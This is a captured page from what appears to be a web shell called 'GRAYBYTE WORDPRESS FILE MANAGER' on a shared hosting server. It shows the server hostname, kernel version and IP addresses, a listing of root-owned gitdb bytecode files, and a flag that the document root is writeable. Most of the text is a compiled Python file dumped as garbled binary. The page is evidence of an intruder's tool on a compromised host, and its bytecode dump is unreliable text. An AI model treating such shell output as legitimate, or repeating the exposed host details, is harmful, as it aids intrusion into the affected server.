✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.86
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/cloudlinux/venv/lib/python3.11/site-packages/gitdb/__pycache__//base.cpython-311.pyc
�

�|oi]��B�dZddlmZddlmZmZdZGd�de��ZGd�de��Z	Gd	�d
e	��Z
Gd�de��ZGd
�de��ZGd�de	��Z
Gd�de
��ZGd�de��ZGd�de��ZGd�de��ZdS)zPModule with basic data structures - they are designed to be lightweight and fast���
bin_to_hex)�type_id_to_type_map�type_to_type_id_map)	�OInfo�	OPackInfo�ODeltaPackInfo�OStream�OPackStream�ODeltaPackStream�IStream�InvalidOInfo�InvalidOStreamc��eZdZdZe��Zd�Zd�Zed���Z	ed���Z
ed���Zed���Zed���Z
d	S)
ra�Carries information about an object in an ODB, providing information
    about the binary sha of the object, the type_string as well as the uncompressed size
    in bytes.

    It can be accessed using tuple notation and using attribute access notation::

        assert dbi[0] == dbi.binsha
        assert dbi[1] == dbi.type
        assert dbi[2] == dbi.size

    The type is designed to be as lightweight as possible.c�>�t�||||f��S�N��tuple�__new__)�cls�sha�type�sizes    �\/builddir/build/BUILD/cloudlinux-venv-1.0.10/venv/lib/python3.11/site-packages/gitdb/base.pyrz
OInfo.__new__#s���}�}�S�3��d�"3�4�4�4�c�:�t�|��dSr�r�__init__��self�argss  rrzOInfo.__init__&���
���t�����rc��|dS)z$:return: our sha as binary, 20 bytesr��r s r�binshazOInfo.binsha*�
���A�w�rc�,�t|d��S�z':return: our sha, hex encoded, 40 bytesrrr%s r�hexshazOInfo.hexsha/����$�q�'�"�"�"rc��|dS�N�r$r%s rrz
OInfo.type4����A�w�rc�(�t|dSr-)rr%s r�type_idz
OInfo.type_id8���"�4��7�+�+rc��|dS�N�r$r%s rrz
OInfo.size<r/rN)�__name__�
__module__�__qualname__�__doc__r�	__slots__rr�propertyr&r*rr1rr$rrrrs�������
>�
>�����I�5�5�5��������X���#�#��X�#�����X���,�,��X�,�����X���rrc��eZdZdZe��Zd�Zd�Zed���Z	ed���Z
ed���Zed���ZdS)	ra`As OInfo, but provides a type_id property to retrieve the numerical type id, and
    does not include a sha.

    Additionally, the pack_offset is the absolute offset into the packfile at which
    all object information is located. The data_offset property points to the absolute
    location in the pack at which that actual data stream can be found.c�>�t�||||f��Srr)r�
packoffsetrrs    rrzOPackInfo.__new__Ls���}�}�S�:�t�T�":�;�;�;rc�:�t�|��dSrrrs  rrzOPackInfo.__init__Or"rc��|dS�Nrr$r%s r�pack_offsetzOPackInfo.pack_offsetTr/rc�(�t|dSr-)rr%s rrzOPackInfo.typeXr2rc��|dSr-r$r%s rr1zOPackInfo.type_id\r/rc��|dSr4r$r%s rrzOPackInfo.size`r/rN)
r6r7r8r9rr:rrr;rBrr1rr$rrrrBs�������K�K�����I�<�<�<����
����X���,�,��X�,�����X������X���rrc�B�eZdZdZe��Zd�Zed���ZdS)r	z�Adds delta specific information,
    Either the 20 byte sha which points to some object in the database,
    or the negative offset from the pack_offset, so that pack_offset - delta_info yields
    the pack offset of the base objectc�@�t�|||||f��Srr)rr>rr�
delta_infos     rrzODeltaPackInfo.__new__os���}�}�S�:�t�T�:�"F�G�G�Grc��|dS�N�r$r%s rrHzODeltaPackInfo.delta_infosr/rN)	r6r7r8r9rr:rr;rHr$rrr	r	gsX������*�*�����I�H�H�H�����X���rr	c�P�eZdZdZe��Zd�Zd�Zdd�Ze	d���Z
dS)	r
z�Base for object streams retrieved from the database, providing additional
    information about the stream.
    Generally, ODB streams are read-only as objects are immutablec�@�t�|||||f��S�z+Helps with the initialization of subclassesr�rrrr�streamr!�kwargss       rrzOStream.__new__�����}�}�S�3��d�F�";�<�<�<rc�:�t�|��dSrr)r r!rQs   rrzOStream.__init__�r"r���c�8�|d�|��SrJ��read�r rs  rrWzOStream.read�����A�w�|�|�D�!�!�!rc��|dSrJr$r%s rrPzOStream.stream�r/rN�rT)r6r7r8r9rr:rrrWr;rPr$rrr
r
ysz������E�E�����I�=�=�=����
"�"�"�"�����X���rr
c�.�eZdZdZd�Zed���ZdS)�ODeltaStreamz,Uses size info of its stream, delaying readsc�@�t�|||||f��SrNrrOs       rrzODeltaStream.__new__�rRrc��|djSrJ)rr%s rrzODeltaStream.size�s���A�w�|�rN)r6r7r8r9rr;rr$rrr]r]�sD������6�6�=�=�=�����X���rr]c�J�eZdZdZe��Zd�Zdd�Zed���Z	dS)rz_Next to pack object information, a stream outputting an undeltified base object
    is providedc�@�t�|||||f��SrNr)rr>rrrPr!s      rrzOPackStream.__new__�s���}�}�S�:�t�T�6�"B�C�C�CrrTc�8�|d�|��SrJrVrXs  rrWzOPackStream.read�rYrc��|dSrJr$r%s rrPzOPackStream.stream�r/rNr[�
r6r7r8r9rr:rrWr;rPr$rrrr�sj������������I�D�D�D�
"�"�"�"�����X���rrc�J�eZdZdZe��Zd�Zdd�Zed���Z	dS)rzFProvides a stream outputting the uncompressed offset delta informationc�B�t�||||||f��Srr)rr>rrrHrPs      rrzODeltaPackStream.__new__�s!���}�}�S�:�t�T�:�v�"N�O�O�OrrTc�8�|d�|��S�N�rVrXs  rrWzODeltaPackStream.read�rYrc��|dSrhr$r%s rrPzODeltaPackStream.stream�r/rNr[rdr$rrrr�sf������P�P�����I�P�P�P�"�"�"�"�����X���rrc��eZdZdZe��Zdd�Zdd�Zed���Z	d�Z
d�Zee
e��Zdd	�Z
d
�Zd�Zeee��Zd�Zd
�Zeee��Zd�Zd�Zeee��Zd�Zd�Zeee��ZdS)r
agRepresents an input content stream to be fed into the ODB. It is mutable to allow
    the ODB to record information about the operations outcome right in this instance.

    It provides interfaces for the OStream and a StreamReader to allow the instance
    to blend in without prior conversion.

    The only method your content stream must support is 'read'Nc�B�t�|||||df��Sr)�listr)rrrrPrs     rrzIStream.__new__�s!���|�|�C�#�t�T�6�4�!@�A�A�Arc�F�t�|||||df��dSr)rmr)r rrrPrs     rrzIStream.__init__�s'���
�
�d�S�$��f�d�;�<�<�<�<�<rc�,�t|d��Sr)rr%s rr*zIStream.hexsha�r+rc��|dS)zD:return: the error that occurred when processing the stream, or Nonerir$r%s r�_errorzIStream._error�r/rc��||d<dS)zFSet this input stream to the given exc, may be None to reset the errorriNr$)r �excs  r�
_set_errorzIStream._set_error�s����Q���rrTc�8�|d�|��S)zhImplements a simple stream reader interface, passing the read call on
            to our internal streamrKrVrXs  rrWzIStream.read�s���A�w�|�|�D�!�!�!rc��||d<dSrAr$)r r&s  r�_set_binshazIStream._set_binsha������Q���rc��|dSrAr$r%s r�_binshazIStream._binsha�����A�w�rc��|dSr-r$r%s r�_typez
IStream._typer{rc��||d<dSr-r$)r rs  r�	_set_typezIStream._set_type�����Q���rc��|dSr4r$r%s r�_sizez
IStream._sizer{rc��||d<dSr4r$rXs  r�	_set_sizezIStream._set_sizer�rc��|dSrJr$r%s r�_streamzIStream._streamr{rc��||d<dSrJr$)r rPs  r�_set_streamzIStream._set_streamrxrrr[)r6r7r8r9rr:rrr;r*rqrt�errorrWrwrzr&r}rrr�r�rr�r�rPr$rrr
r
�sw������B�B�����I�B�B�B�B�=�=�=�=��#�#��X�#�������
�H�V�Z�(�(�E�"�"�"�"��������X�g�{�
+�
+�F��������8�E�9�%�%�D��������8�E�9�%�%�D��������X�g�{�
+�
+�F�F�Frr
c�t�eZdZdZe��Zd�Zd�Zed���Z	ed���Z
ed���ZdS)rz�Carries information about a sha identifying an object which is invalid in
    the queried database. The exception attribute provides more information about
    the cause of the issuec�<�t�|||f��Srr)rrrss   rrzInvalidOInfo.__new__"s���}�}�S�3��*�-�-�-rc�@�t�|||f��dSrr)r rrss   rrzInvalidOInfo.__init__%s ��
���t�c�3�Z�(�(�(�(�(rc��|dSrAr$r%s rr&zInvalidOInfo.binsha(r/rc�,�t|d��SrArr%s rr*zInvalidOInfo.hexsha,s���$�q�'�"�"�"rc��|dS)z2:return: exception instance explaining the failurer.r$r%s rr�zInvalidOInfo.error0r'rN)r6r7r8r9rr:rrr;r&r*r�r$rrrrs�������������I�.�.�.�)�)�)�����X���#�#��X�#�����X���rrc�&�eZdZdZe��ZdS)rz/Carries information about an invalid ODB streamN)r6r7r8r9rr:r$rrrr6s������9�9�����I�I�IrrN)r9�
gitdb.utilr�	gitdb.funrr�__all__rrrr	r
r]rrrmr
rrr$rr�<module>r�s��
W�V�!�!�!�!�!�!���������
8��*�*�*�*�*�E�*�*�*�\ � � � � �� � � �J�����Y����$�����e����4�����7����"�����)����(�����~����$L,�L,�L,�L,�L,�d�L,�L,�L,�b�����5����6�����\�����r


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
11 Feb 2026 6.01 AM
root / root
0755
__init__.cpython-311.pyc
1.582 KB
20 Jan 2026 1.01 PM
root / root
0644
base.cpython-311.pyc
14.283 KB
20 Jan 2026 1.01 PM
root / root
0644
const.cpython-311.pyc
0.341 KB
20 Jan 2026 1.01 PM
root / root
0644
exc.cpython-311.pyc
2.988 KB
20 Jan 2026 1.01 PM
root / root
0644
fun.cpython-311.pyc
24.995 KB
20 Jan 2026 1.01 PM
root / root
0644
pack.cpython-311.pyc
46.65 KB
20 Jan 2026 1.01 PM
root / root
0644
stream.cpython-311.pyc
27.509 KB
20 Jan 2026 1.01 PM
root / root
0644
typ.cpython-311.pyc
0.402 KB
20 Jan 2026 1.01 PM
root / root
0644
util.cpython-311.pyc
15.843 KB
20 Jan 2026 1.01 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF